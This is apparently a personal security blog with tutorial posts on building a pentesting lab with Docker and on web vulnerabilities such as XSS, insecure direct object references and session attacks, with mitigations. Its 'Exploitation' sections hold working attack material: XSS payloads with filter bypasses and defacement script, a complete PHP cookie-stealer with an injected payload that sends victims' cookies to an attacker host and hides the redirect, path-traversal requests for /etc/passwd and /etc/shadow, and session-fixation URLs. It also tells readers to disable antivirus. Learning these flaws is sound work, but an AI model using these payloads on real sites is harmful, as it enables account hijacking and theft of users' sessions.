Network Pentesting with Mestasploitable | Metasploitable Docker installation in Kali Linux

Thursday 9 July 2020


Hi, 




Please find the commands and description below 

Installation of docker in Kali linux 
Search | Pull | Run Metasploitable2 image
Network pentesting 

Commands:

Installation of Docker in Kali Linux (Fresh Installation)

> sudo curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
> sudo echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
> sudo apt-get update
> sudo apt-get install docker-ce

Metasploitable2 (Docker Pull image and Run Metasploitable2)

> sudo docker search metasploitable2
> sudo docker pull tleemcjr/metasploitable2
> sudo docker run -it tleemcjr/metasploitable2

In Metasploitable2 machine
> ifconfig

Happy hacking and learning 
Pprasoon
#Docker #Kali #KaliLinux #Metasploitable2 #Network Pentesting #Basic

Installation of Docker in Kali Linux and Basics.

Sunday 5 July 2020

Today, we will Install docker in Kali linux (Fresh Installation, Search for docker image, Pull docker image and Run|Stop docker image



Follow the steps shown in video and below are the commands to be used

Installation of Docker in Kali linux 

Commands:   (Here scerets are revealed)
Check Docker is present or not 
# sudo docker --version

# sudo curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
# sudo echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
# sudo apt-get update
# sudo apt-get install docker-ce  (for fresh installation)
# sudo systemctl start docker
# sudo systemctl enable docker
# sudo docker --version 

Search docker image 
# sudo docker search xvwa

Pull docker images in docker 
# sudo docker "image name"

Check all docker Images installed
# sudo docker image ls

Run docker image 
# sudo docker run --name "anyname" -d -P "image name"
example: # sudo docker run --name xvwa -d  -P tuxotron/xvwa

To stop docker image or running process 
# sudo docker stop "name"

To check running container id
# sudo docker ps -aq

To stop docker container id
# sudo docker stop "container id"

To rm docker container id 
# sudo docker rm "container id"

To remove docker image
# sudo docker rm "image name"

Run Docker image outside the Kali Linux VM 
  check your ip with help of ifconfig and assign port 
# sudo ifconfig

# sudo docker run --name xvwa -d -p (yourip):80:80 tuxotron/xvwa

Happy Hacking !!!!
Pprasoon

#Docker #KaliLinux #DockerInstallation #Dockerpullimage #DockerSerachImage

Web Pentetsing LAB in KALI LINUX with DOCKER

Hi | Welcome | Web Pentetsing in KALI LINUX with DOCKER #Pprasoon

Today, we will create Web Application Penteting lab on Kali Linux with the help of Docker.

Following can be used in VMWare player / Workstation | Virtual box




Follow the the steps show in video and below are the commands to be used

Step 1:
    Installation of Docker in Kali linux 
Commands: (Here scerets are revealed)
> sudo curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
> sudo echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
> sudo apt-get update
> sudo apt-get install docker-ce  (for fresh installation) 
> sudo systemctl start docker
> sudo systemctl enable docker
> sudo docker --version 

Step 2:
        Installing OWASP Broken Web Applications like 
bWAPP
WebGoat 7.1
WebGoat 8.0
Damn Vulnerable Web App
Mutillidae II
OWASP Juice Shop
WPScan Vulnerable Wordpress
OpenDNS Security Ninjas
Altoro Mutual

Commands:  (Here scerets are revealed)
> su (to change user to root)
> git clone https://github.com/eystsen/pentestlab.git
> cd pentestlab
> ./pentestLab.sh --help
> ./pentestlab.sh list 
./pentestlab.sh start bwapp

First check image (Broken Web application running with help of docker) 
Commands: (Here scerets are revealed)
> sudo docker ps
> Copy the IP & port and paste in browser 

Running the above images in Kali with the help of docker (second method).

For Accessing the Broken Web applications outside the Kali Linux on host machine.
Commands:   (Here scerets are revealed)
> sudo docker images
> sudo docker run --name bwapp -d -p <yourip>:80:80 raesene/bwapp
> sudo docker ps
To stop any above process 
> sudo docker stop "name"

PLEASE STOP YOUR ANITVIRS BEFORE CHECKING ON HOST (if required)

Configuration of BurpSuite in Firefox to Intercept the Request and Response 
> We will install foxyproxy addon

Happy Hacking !!!!
Pprasoon
#docker #kalilinux #Webpentesting #lab #virtualbox

Security Misconfiguration

Sunday 12 August 2018

Security Mis-configuration
============================
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date

Server configuration problems
=================================
> Unpatched security flaws in the server software
> Server software flaws or misconfiguration that permit directory listing and directory traversal attacks
> Unnecessary default, backup, or sample files, including scripts, applications, configuration files, and web pages
> Improper file and directory permissions
> Unnecessary services enabled, including content management and remote administration
> Default accounts with their default passwords
> Administrative or debugging functions that are enabled or accessible
> Overly informative error messages (more details in the error handling section)
> Misconfigured SSL certificates and encryption settings
> Use of self-signed certificates to achieve authentication and man-in-the-middle protection
> Use of default certificates
> Improper authentication with external systems

*****************
All about => Insecure-direct-object-references
Critical Vulnerability => Sql-injection-attack-and-defense-notes
******************************************************

Mitigation 
==============
** Do security hardening
1) Configuring all security mechanisms
2) Turning off all unused services
3) Setting up roles, permissions, and accounts, including disabling all default accounts or changing their passwords
4) Logging and alerts
5) Monitoring the latest security vulnerabilities published
6) Applying the latest security patches
8) Updating the security configuration guideline
9) Regular vulnerability scanning from both internal and external perspectives
10) Regular internal reviews of the server’s security configuration as compared to your configuration guide
11) Regular status reports to upper management documenting overall security posture

Security Misconfiguration Cases
===================================
Case 1 :
Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you don’t update your libraries. Until you do, attackers can easily find and exploit these flaws in your app.

Case 2 :
The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over

Case 3 :
Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which attackers reverse engineers to get all your custom code. Attacker then finds a serious access control flaw in your application.

Case 4 :
App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

*****************
All about => Insecure-direct-object-references
Critical Vulnerability => Sql-injection-attack-and-defense-notes
******************************************************

Exploitation 
==============
Exploit  1:
We can try out as many options as we can think of. All we need to find the URL of config file and we all know developers follow kind of naming convention for config files. It can be anything that is listed below. It is usually done by BRUTE force technique.

web.config
config
appname.config
conf

Exploit 2: 
Error Handling

There are quite a few different ways to handle errors in ASP.NET MVC and Web API, whether through error handlers, filters and overrides, as well as granular application of error handling at the action or controller level. But, very likely you have experienced those edge cases where some exception has managed to bubble up past your custom control gates unhandled and you have experienced a error message

Exploit 3:
URL redirection

Insecure Direct Object References

Insecure Direct Object References
========================================
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object.

For Example
http://example.com/app/accountInfo?acct=123

******************
All About Cross Site Scripting => Click on me :)
Learn about => Security-misconfiguration
Know about Critical Vulnerability => SQL Injection Click on me :)
***********************************************************

Mitigation 
================
1) Avoid exposing your private object references to users whenever possible, such as primary keys or filenames
2) Validate any private object references extensively with an "accept known good" approach
3) Verify authorization to all referenced objects


Insecure Direct Object References cases
=========================================
Case 1: 
The value of a parameter is used directly to retrieve a database record
http://foo.bar/somepage?invoice=12345

String query = "SELECT * FROM table WHERE cartID=" + cartID;

Case 2: 
Sometimes leads to Directory traversal or Path traversal
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated file name to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

../../../etc/passwd in part of linux

Directory Traversal

Assume a web application allows for a file to be rendered to a user that is stored on the local machine. If the application isn't verifying what files should be accessed, an attacker can request other files on the file system and those will also be displayed.

For instance, if the attacker notices the URL:

http://misc-security.com/file.jsp?file=report.txt
The attacker could modify the file parameter using a directory traversal attack. He modifies the URL to:

http://misc-security.com/file.jsp?file=**../../../etc/shadow**
Upon doing this the /etc/shadow file is returned and rendered by file.jsp demonstrating the page is susceptible to a directory traversal attack.

******************
All About Cross Site Scripting => Click on me :)
Learn about => Security-misconfiguration
**********************************************

Exploitation
===================
IMP => https://www.exploit-db.com/exploits/35203/
Exploiting Insecure Direct Object References, attackers can bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object ( i.e. by modifying the user account)

Exploit 1 :
Is there is URL is redirecting on parameter ID in a URL string to access the information of other users)
http://foo.bar/somepage?invoice=12345
attacker can change the ID by predicting and and may redirect to another person account


Exploit 2 :
IF something is coming in directory
http://www.website.com/app/home/some=12312
attacker can change the path and lead to LFI or path traversal or directory traversal
for example
http://www.website.com/app/home/some../../../etc/passwd

Cross Site Scripting (XSS)

Monday 18 June 2018

Cross Site Scripting (XSS)
===============================
Definition => Cross-site Scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

The ability to inject code into the Web page generated, potential threats. An attacker can use XSS vulnerabilities to steal cookies, hijack accounts, execute ActiveX, execute Flash content, force you to download software, and take action on your hard disk and data.

If you look more closely at the URL, it might actually exploit a vulnerability in your bank’s Web site, and look something like http://www.website.com/somepage?redirect=<script>alert(‘XSS’)</script>, where the use of the “redirect” parameter has been exploited to carry out the attack.

**************************
ALL about SQL Injection and Defence
What is Session
Fun with computers => make-folder-without-name
********************************************************

XSS are 3 types
==================
Stored XSS (AKA Persistent or Type I)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser

Reflected XSS (AKA Non-Persistent or Type II)
Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data. In some cases, the user-provided data may never even leave the browser

DOM Based XSS (AKA Type-0)
DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write)."

URL fragments (use to go something inside javascript | Something coming after # (hash) will not go to the server.


Attacks can be done by XSS
==========================================
> steal cookies (if they are not httpOnly)
> retrieve the current page that the victim sees (as the victim user)
> get the current URL of the victim
> get the current referrer of the victim
> Redirect to some other website
> use the application cookies to gain access to the victim’s account
> use possible CSRF (cross-site request forgery) vulnerabilities to make the victim perform unwanted actions in the application (e.g. add a new user)
> inject malicious code into victim’s browser in order to exploit browser vulnerabilities
> inject malicious Java applet, etc

Mitigation
===============
> Input validation  both client and server side
> Output encoding
> White listing of words
> OWASP escapi

JavaScript functionality
==============================
Window object
Windows Object Properties
1) window.locate
<script>window.location.href="htts://www.google.co.in"</script>

2) document.body.innerHTML
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>THIS SITE WAS HACKED</h1></div>";</script>


XSS Cases
===================
Case 1 :
When there is no input validation and no output encoding use simple payload
<script>alert(9)</script>
<svg/onload=alert(9)>
“><img src=x onerror=alert(1);>

Case 2 :
When value is going inside value Case (value= "something">) then try to put payload outside the double quotes
"><script>alert(9)</script>
"><svg/onload=alert(9)>

Case 3 :
Try inject payload all the possible parameters, input boxes, dropdown list and hidden fields like
input boxes
search?q=
value=' '
drop down list value going in a parameter
p=something (Hidden) (intercept with the burp-Suite)

Case 4 :
when input box has limitation of alphabets to be written in it. Then right click on input box choose inspect element and change the number to max (so that u can write your payload)
value = "><svg/onload=alert(9)>

Case 5 :
When you are getting output encoding inside the value tag then try to make payload using event handlers like onmouseover or onmouseclick
Even see what all things are output encoded and escaped
123" onmouseover="alert(9);
asd" onmouseclick="alert(9);
When server is escaping special characters like " or ' then payload be
123 onmouseover=alert(9);

Case 6 : 
A thumb rule for href tag is that when any input is making a hyperlink just give him a simple payload
javascript:alert(9)
and you get the alert box
hyper link payloads
<a href="http:google.com" onclick=javascript:alert(9)> for always a link created
www.google.com" onclick="confirm(9)"> href payload

Case 7 : 
When server is removing some words or alphabets the try to covert that words in base64 to bypass
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
"><script>eval(alert(document.domain))</script>

Case 8 :
the words script, style and on aren't allowed, we have to think about something else this time. Apparently, it's possible to encode JavaScript as Base64 and make it execute as an iframe src.

<iframe src="data:text/html;base64, .... base64 encoded HTML data ....">

The HTML data we want to use is:
<script>parent.alert(document.domain);</script>

parent. is needed because we want the alert to execute in the context of the parent's window. Encoding it as Base64 with the Character Encoding Calculator results in:

PHNjcmlwdD5wYXJlbnQuYWxlcnQoZG9jdW1lbnQuZG9tYWluKTs8L3NjcmlwdD4

The code that we will then put into the search box to finish the level is:

"><iframe src="data:text/html;base64,PHNjcmlwdD5wYXJlbnQuYWxlcnQoZG9jdW1lbnQuZG9tYWluKTs8L3NjcmlwdD4="></iframe>


Case 9 : 
Sometimes playing with html tags also leads to XSS
for example :
closing of a textarea and then putting a payload leads to stored XSS
payload :
</textarea><svg/onload=alert(9)>

Case 10 :
Sometimes putting a parameter and then a payload leads to reflective XSS
for example
we have an url http://www.website.com/forgotpassword
change to
url http://www.website.com/forgotpassword?aa=<script>alert(9)</script>

Case 11 :
When some input is going inside <script> </script> the we have to only put "-alert(9)-"
it is vulnerable to XSS

Case 12 : DOM BASED XSS
For example:
1)
Assume that the URL
http://www.vulnerable.site/welcome.html

contains the following content:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>

Welcome to our system
…</HTML>
This page will use the value from the "name" parameter in the following manner.
http://www.vulnerable.site/welcome.html?name=Joe
In this example, the JavaScript code embeds part of the document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as
http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>

2)
<script>

var h = document.location.hash.substring(1);
if (h && h != ""){
 var re = new RegExp(".+@.+");
 if (h.match(re)){
document.getElementById("email").innerHTML+="("+h+")";
}
}
</script>
payload = <img/src=x onerror=alert(9)>@gmail.com
==============
IMP :-
Attribute's value field (with the " character escaped to &#34). Escaping ASCII characters can easily be done through this character encoding calculator: http://ha.ckers.org/xsscalc.html.
============================================================================================================================


**************************
ALL about SQL Injection and Defence
What is Session
Fun with computers => make-folder-without-name
**************************************************

Exploitation With XSS
=========================
IMP => https://www.exploit-db.com/papers/13057/
   https://www.exploit-db.com/docs/15530.pdf
http://internet.wonderhowto.com/how-to/hack-remote-internet-browser-with-xss-shell-261948/

Exploit 1 :
Attacker can redirect victim to the malicious website
payload :
<script>alert("click ok to redirect");window.location.href="https://www.google.com"</script>

Attacker can make victim to download any malicious file to download
payload
<script>document.location="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe";</script>

Exploit 2 :
Attacker can steal cookies of the victim
How to do it :
In stealing cookies, there is a 3 step process
attacker needs
1)injected script
2)cookies stealer
3)log file

Create an account on a server and create two files, log.txt and cookiestealer.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste following php code into your cookie stealer script (cookiestealer.php):

cookiestealer code :

<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
fclose($log);
}

logData();

?>

This script will record the cookies of every user that views it.

Now find a XSS vulnerable page or parameter or search box and put the payload
"><script language= "JavaScript">document.location="http://yoursite.com/cookiestealer.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>

yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened.

Exploit 3 : 
Attacker can deface a page with its own page or pic or photo
Palyload
<img src=link of the image>
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>THIS SITE WAS HACKED</h1></div>";</script>

Exploit 4 :
BEF = Browser Exploitation Framework

http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.kypFITWL.dpbs



Session_ALL about Session

Session ID is not updating after login
This attack is done locally: for example => in an organization someone log out and the session is not expired, he/she may try login into it by using that session again

Attack Scenario: Setting Session ID help of XSS

*************************
All about broken-authentication-and-session
SQL Injection and Defense
*************************************************

Session Fixation
======================
Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application. When authenticating a user, it doesn’t assign a new session ID, making it possible to use an existent session ID. The attack consists of obtaining a valid session ID (e.g. by connecting to the application), inducing a user to authenticate himself with that session ID, and then hijacking the user-validated session by the knowledge of the user session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim's browser use it.

The session fixation attack is a class of Session Hijacking, which steals the established session between the client and the Web Server after the user logs in. Instead, the Session Fixation attack fixes an established session on the victim's browser, so the attack starts before the user logs in.

There are several techniques to execute the attack; it depends on how the Web application deals with session tokens. Below are some of the most common techniques:

• Session token in the URL argument: The Session ID is sent to the victim in a hyperlink and the victim accesses the site through the malicious URL.

• Session token in a hidden form field: In this method, the victim must be tricked to authenticate in the target Web Server, using a login form developed for the attacker. The form could be hosted in the evil web server or directly in HTML formatted e-mail.

• Session ID in a cookie:

o Client-side script

Most browsers support the execution of client-side scripting. In this case, the aggressor could use attacks of code injection as the XSS (Cross-site scripting) attack to insert a malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using the function document.cookie, the browser which executes the command becomes capable of fixing values inside of the cookie that it will use to keep a session between the client and the Web Application.

o <META> tag

<META> tag also is considered a code injection attack, however, different from the XSS attack where undesirable scripts can be disabled, or the execution can be denied. The attack using this method becomes much more efficient because it's impossible to disable the processing of these tags in the browsers.

o HTTP header response

This method explores the server response to fix the Session ID in the victim's browser. Including the parameter Set-Cookie in the HTTP header response, the attacker is able to insert the value of Session ID in the cookie and sends it to the victim's browser.

*************************
Cross Site Scripting => Click on me :)
All about broken-authentication-and-session
SQL Injection and Defense
*************************************************


Session hijacking
======================
The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token.

Because HTTP communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the HTTP requisition as a cookie, in other parts of the header of the HTTP request, or yet in the body of the HTTP requisition.

The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.

The session token could be compromised in different ways; the most common are:

Predictable session token;
Session Sniffing;
Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);
Man-in-the-middle attack
Man-in-the-browser attack

Broken Authentication and Session Management

Broken Authentication and Session Management
===============================================
Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords,keys,or session tokens, or to exploit other implementation flaws to assume other user's identities.

Developers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, time-outs, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique

Session IDs
=================
A Session is a unique identifier....
As we know that HTTP is a stateless protocol, which means that it provides no integrated way for a web server to maintain states throughout user’s subsequent requests.
A session identifier, session ID or session token is a piece of data that is used in network communications (often over HTTP) to identify a session, a series of related message exchanges. Session identifiers become necessary in cases where the communications infrastructure uses a stateless protocol such as HTTP.
For example, a buyer who visits a seller's site wants to collect a number of articles in a virtual shopping cart and then finalize the shopping by going to the site's checkout page. This typically involves an ongoing communication where several web pages are requested by the client and sent back to them by the server. In such a situation, it is vital to keep track of the current state of the shopper's cart, and a session ID is one way to achieve that goal.

A session ID is typically granted to a visitor on his first visit to a site. It is different from a user ID in that sessions are typically short-lived (they expire after a preset time of inactivity which may be minutes or hours) and may become invalid after a certain goal has been met (for example, once the buyer has finalized his order, he cannot use the same session ID to add more items).

Three widely used methods for maintaining sessions in WEB
=======================================================
1) URL arguments
2) Hidden form fields
3) Cookies (cookies have proven to be the most convenient)

************************************
Cross Site Scripting => Click on me :)
Basics for SQL Injection and Remediations => Click on me :)
Nmap with Metasploits => Click one me :)
*************************************************************


Session Management
=====================
Session management is the process of keeping track of a user's activity across sessions of interaction with the computer system.
Types
======
Desktop session management => A desktop session manager is a program that can save and restore desktop sessions. A desktop session is all the windows currently running and their current content.

Browser session management => Session management is particularly useful in a web browser where a user can save all open pages and settings and restore them at a later date. To help recover from a system or application crash, pages and settings can also be restored on next run.

Web Server Session management => Hypertext Transfer Protocol (HTTP) is stateless: a client computer running a web browser must establish a new Transmission Control Protocol (TCP) network connection to the web server with each new HTTP GET or POST request. The web server, therefore, cannot rely on an established TCP network connection for longer than a single HTTP GET or POST operation. Session management is the technique used by the web developer to make the stateless HTTP protocol support session state. For example, once a user has been authenticated to the web server, the user's next HTTP request (GET or POST) should not cause the web server to ask for the user's account and password again. For a discussion of the methods used to accomplish this see HTTP cookie and Session ID

Session management over SMS =>

Vulnerabilities
===========================
> User authentication credentials aren’t protected when stored using hashing or encryption.
> Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
> Session IDs are exposed in the URL (e.g., URL rewriting).
> Session IDs are vulnerable to session fixation attacks.
> Session IDs don’t time-out, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren’t properly invalidated during logout.
> Session IDs aren’t rotated after successful login.
> Passwords, session IDs, and other credentials are sent over unencrypted connections.


Attacks Done on Session IDs
=====================================
1) Session Hijacking => The attacker gains access to the user’s session by obtaining his session ID, is called session hijacking
2) Session fixation =>  The attacker fixes the user’s session ID before the user even logs into the target server, thereby eliminating the need to obtain the user’s session ID afterwards.
Attacks made in session fixation =>
*) Interception (Encrypted communication effectively protects against interception)
*) Prediction (Cryptographically strong pseudo random number generators and carefully chosen seeds that don’t leak from the serve prevents prediction of session IDs)
*) Brute-force (Bit-length is large enough with respect to the number of simultaneous sessions)

Session fixation vs. session hijacking
==========================================
Timing
Session fixation : Attacker attacks the user’s browser before he logs in to the target server.
Session hijacking : Attacker attacks the user’s browser after he logs in to the target server.

Impact Duration
Session fixation : Attacker gains one-time, temporary or long-term access to the user’s session(s).
Session hijacking : Attacker usually gains one-time access to the user’s session and has to repeat the attack in order to gain access to another one.

Session Maintenance
Session fixation : Can require the attacker to maintain the trap session until the user logs into it.
Session hijacking : Requires no session maintenance.

Attack Vectors
Session fixation
1. Tricking the user to log in through a malicious hyperlink or a malicious login form
2. Exploiting a cross-site scripting vulnerability on any web server in the target server’s domain
3. Exploiting a meta tag injection vulnerability on any web server in the target server’s domain
4. Exploiting the “session adoption” feature of some web servers
5. Breaking into any host in the target server’s domain
6. Adding a domain cookie-issuing server to the target server’s domain in the user’s DNS server
7. Network traffic modification

Session hijacking
1. Exploiting a cross-site scripting vulnerability on the target server
2. Obtaining the session ID in the HTTP Referer header sent to another web server
3. Network traffic sniffing (only works with an unencrypted link to the target server)

Attack Target Area
Session fixation : Communication link, target web server, all hosts in target server’s domain, user’s DNS server
Session hijacking : Communication link, target web server


Mitigation
===============
1) HTTPonly
2) Secure flag if HTTPS is there
3) Encrypted communication between the user’s browser and the target web server
4) Ensuring that sessions expire and within a reasonable period of time

Broken Authentication and Session Management Cases
=====================================================
Case 1:
Plain text storage of password
Storing a password in plaintext may result in a system compromise
Attacker can sniff the network with the help of any sniffing tool (such as wire-shark)

Case 2:
Improper Authentication
The user claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

Case 3:
Missing Encryption of Sensitive Data
The software/website does not encrypt sensitive or critical information before storage or transmission
The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.
For example : Storage for credit card no. or pin, user info or password

Case 4:
Clear text Transmission of Sensitive Information
The software transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by an attacker.
Many communication channels can be "sniffed" by attackers during data transmission. For example, network traffic can often be sniffed by an attacker who has access to a network interface. This significantly lowers the difficulty of exploitation by attackers.

Case 5:
Session Fixation
Read above for session fixation

Case 6:
Insufficiently Protected Credentials
Login pages not using adequate measures to protect the username and password while they are in transit from the client to the server
Use SSL

Case 7:
Insufficient Session Expiration
"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a website from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.
> Set sessions/credentials expiration date

Case 8:
Unverified Password Change
When setting a new password for a user, the product does not require knowledge of the original password or using another form of authentication.
This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user. (may lead to CSRF)

Case 9:
Weak Password Recovery Mechanism for Forgotten Password
The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account.(May lead to Brute force attack)
This weakness may be that the security question is too easy to guess or find an answer to (e.g. because it is too common). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system. Weak password recovery schemes completely undermine a strong password


Exploitation With SessionId
================================
IMP : https://www.exploit-db.com/papers/15990/
=============

Exploit 1 : Session Fixation
A bank website, Session IDs are transported from browser to server within a URL argument sessionid.

The attacker – who in this case is also a legitimate user of the system – logs into the server and is issued a session ID 1234. The attacker then sends a hyperlink
http://online.worldbank.dom/login.jsp?sessionid=1234 to the victim, trying to lure him into clicking on it. The victim clicks on the link, which opens the server’s login page in his browser.
Note that upon request for login.jsp?sessionid=1234, the web application has established that a session already exists for this user and a new one need not be created. Finally, the user provides his credentials to the login script and the server grants him access to his bank account. However, at this point, knowing the session ID, the attacker can also access the victim's account via account.jsp?sessionid=1234. Since the session has already been fixed before the user logged in, we say that the user logged into the attacker’s session.

Attackers Uses http://online.worldbank.dom/<script>document.cookie="sessionid=1234”;</script>.idc to fix the session id in to victim browser

For Domain Cookies fixation
Attacker uses http://online.worldbank.dom/<script>document.cookie="sessionid=1234;domain=.worldbank.dom”;</script>.idc

Meta tag injection
====================
Issuing a cookie using the <META> tag with Set-Cookie attribute
<meta http-equiv=Set-Cookie content="sessionid=1234">

http://online.worldbank.dom/<meta%20http-equiv=Set-Cookie%20content="sessionid=1234;%20Expires=Friday,%201-Jan-2010%2000:00:00%20GMT”>.idc

Exploit 2 : Network Base attack (man in the middle attack)
Sniffing the packets with in the network coming to and from the victim computer

The attacker can inject a small (invisible) image in any web server’s response to the browser – for example when the user is reading Yahoo news. This image would originate from any web server in the .website.com domain. Upon requesting the image content, the browser would connect to this web server and the attacker, intercepting the request, could send a fake response by the web server, including a Set-Cookie header, thereby fixing the user’s session.

Exploit 3 : Prediction
The attacker can predict the session if session ids are not unique or random numbers are no coming
For example :
The session id is 123456
session id2 is 123456789
session id3 is predictable may be 123456789101112

SQL injection Contd......

Tuesday 5 June 2018


